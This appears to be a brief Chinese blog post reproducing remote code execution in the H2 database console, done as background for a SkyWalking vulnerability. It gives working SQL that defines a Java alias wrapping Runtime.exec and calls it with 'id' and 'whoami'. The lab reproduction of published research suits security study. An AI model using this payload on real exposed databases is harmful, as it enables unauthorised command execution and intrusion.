Loading

H2数据库Rce利用

0x01 前言

在分析SkyWalking的时候,发现该漏洞需要用到h2数据库的只是,于是就此复现下利用方式。可以说是对这篇文章的复现

https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html

0x02 环境搭建

访问h2数据库官网下载数据库安装包

image-20210307170705788

切换到切换到h2/bin/目录下,执行

chmod 777 h2.sh
./h2.sh

访问8082端口,可以看到该数据库的登录界面,默认无密码

image-20210307171445519

直接登入该数据库,可以在sql语句执行框执行想要利用的语句

image-20210307171542097

0x03

利用alias别名,调用java代码进行命令执行

//创建别名
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;

//调用SHELLEXEC执行命令
CALL SHELLEXEC('id');
CALL SHELLEXEC('whoami');

image-20210307172151593

执行whoami

image-20210307172438139

0x03 参考

https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html

posted @ 2021-03-17 00:39  0x28  阅读(1194)  评论(0编辑  收藏  举报